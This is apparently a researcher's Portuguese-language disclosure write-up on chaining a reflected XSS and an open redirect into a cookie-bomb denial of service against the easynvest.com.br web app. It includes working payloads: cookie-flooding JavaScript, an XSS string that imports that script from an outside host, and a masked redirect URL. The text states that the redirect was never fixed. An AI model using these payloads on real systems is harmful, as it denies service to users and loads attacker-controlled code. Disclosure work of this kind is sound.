Heitor Gouvêa

Research About

Encadeamento de vulnerabilidades client-side para geração de indisponibilidade em aplicação web

Tabela de conteúdo:

Resumo

Durante uma análise na aplicação web da corretora easynvest.com.br (adquirida pelo Nubank), foram identificadas duas vulnerabilidades client-side que, quando exploradas em conjunto, podem colocar em risco a disponibilidade do serviço para usuários legítimos. Especificamente, observou-se a possibilidade de provocar uma condição de negação de serviço (DoS) a partir da combinação dessas falhas.

Aviso: a empresa responsável foi informada sobre todos os detalhes contidos nesta publicação no menor tempo possível e se posicionou de forma ética e transparente, demonstrando a devida atenção e comprometimento. Durante todos os testes, nenhum sistema foi invadido ou comprometido, além disso, a empresa realizou algumas das ações/modificações necessárias para minimizar qualquer ação indevida que explore o contexto abordado nesta publicação.

Descrição

A aplicação analisada disponibiliza uma funcionalidade de geração de links de convite personalizados, com parâmetros visíveis na URL, conforme o exemplo:

Imagem

https://indique.easynvest.com.br?nome=heitor%20REDACTED&id=[NUMERICAL ID REDACTED]

Imagem

Ao acessar o link, os parâmetros fornecidos são refletidos diretamente na interface da aplicação, o que pode indica a possibilidade de presença de uma vulnerabilidade do tipo XSS refletido ([1], [2]). Foi identificado que o parâmetro ?nome= estava vulnerável, o payload explorando essa característica foi este:

https://indique.easynvest.com.br/?nome=<audio src/onerror=alert(1)>&id=1

Imagem  Apesar da presença da vulnerabilidade, sua exploração direta apresenta limitações relevantes:

  • O código vulnerável está presente em um subdomínio, impedindo o acesso ao LocalStorage do domínio principal;
  • Os cookies disponíveis são acessíveis, porém os que contêm informações sensíveis estão configurados com a flag HTTPOnly;
  • Trata-se de um XSS do tipo “refletido”, dificultando a disseminação automática do payload;
  • O domínio principal da aplicação apresenta mecanismos robustos de segurança, incluindo tokens anti-CSRF e cabeçalhos HTTP como X-Frame-Options (XFO), Content Security Policy (CSP) e Cross-Origin Resource Sharing (CORS) devidamente configurados.

Dada a limitação do XSS refletido isolado, buscou-se identificar outra vulnerabilidade que pudesse ser combinada para amplificar o impacto. A análise do código JavaScript da tela de autenticação revelou a presença de uma vulnerabilidade de open redirect ([3], [4]):

https://www.easynvest.com.br/autenticacao?redirect_url=https://google.com

Demo:

Esse redirecionamento não validado, localizado no domínio principal da aplicação, permite a disseminação de cargas maliciosas de forma mais confiável, mitigando parcialmente as restrições impostas pelo XSS refletido. No entanto, tentativas de exploração com objetivos mais críticos — como Account Takeover, exfiltração de dados ou execução de ações sensíveis — foram ineficazes devido à implementação de autenticação multifator (MFA) para operações de maior risco ([7]).

Considerando essas restrições, avaliou-se a viabilidade de um vetor alternativo: o ataque do tipo cookie bomb, cujo objetivo é tornar a aplicação indisponível para o usuário que interagir com um link malicioso. Esse ataque consiste na inserção massiva de cookies com carga excessiva, excedendo os limites aceitáveis pelo servidor. Como resultado, o servidor pode recusar as requisições subsequentes oriundas do navegador comprometido, impedindo o carregamento da aplicação e, consequentemente, gerando uma condição de negação de serviço (DoS).

De modo geral, navegadores permitem o envio de múltiplos cookies, cada um com limite aproximado de 4KB. Contudo, servidores web podem falhar ao processar esse volume excessivo de dados, causando indisponibilidade até que os cookies sejam removidos manualmente pelo usuário, ou expirem.

Para um entendimento aprofundado desse tipo de ataque, recomenda-se a leitura dos trabalhos “Cookie Bomb or Let’s Break the Internet” [9], de Egor Homakov, e “Denial of Service with Cookie Bomb” [10], de filedescriptor.

Prova de conceito

A seguir, descreve-se a cadeia de exploração:

  1. Inicialmente, devemos hospedar uma aplicação JavaScript que crie cookies maliciosos para o nosso alvo:
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution   = Array(4000).join('a');

for (var i = 1; i < 99; i++) {
    document.cookie='bomb' + i + '=' + pollution + ';Domain=' + base_domain + ";path=/";
}

window.location="https://" + document.domain;

* Hospedado em: https://heitorgouvea.me/public/payloads/bomb.js
  1. Execução via XSS Refletido:

https://indique.easynvest.com.br/?nome=><audio src=”” onerror=import(‘//heitorgouvea.me/public/payloads/bomb.js’);>&id=1

  1. Encaminhamento do usuário via open redirect, utilizando um serviço de encurtamento de URLs para mascarar o payload: https://cutt.ly/syPnJXp

Payload final: https://easynvest.com.br/autenticacao?redirect_url=https://cutt.ly/syPnJXp

E esse é o resultado:

Impacto

A cadeia de exploração permite que um atacante cause indisponibilidade localizada da aplicação web para usuários específicos. Isso ocorre pela injeção de um grande número de cookies (cookie pollution), que excede os limites esperados pelo servidor, impossibilitando o carregamento da aplicação até que os cookies sejam manualmente removidos pelo usuário. Embora este estudo tenha focado apenas em um vetor de impacto (DoS), outras possibilidades de exploração podem surgir a partir do mesmo vetor, dependendo das configurações da aplicação.

Conclusão

A exploração demonstrada exige baixo esforço técnico e operacional, porém pode gerar impacto significativo ao usuário final. A utilização combinada de um XSS refletido e um open redirect viabiliza um ataque de negação de serviço via cookie bomb, um vetor pouco comum, porém eficaz em contextos específicos.

Após contato com a empresa, foram adotadas as seguintes medidas:

  • Não foi implementada uma correção definitiva para a vulnerabilidade de open redirect;
  • A mitigação do XSS refletido foi realizada por meio de regras no Web Application Firewall (WAF), embora tenham sido identificadas formas de contornar essa proteção. Argumentações técnicas foram apresentadas à empresa, sem retorno conclusivo até o momento.

Referências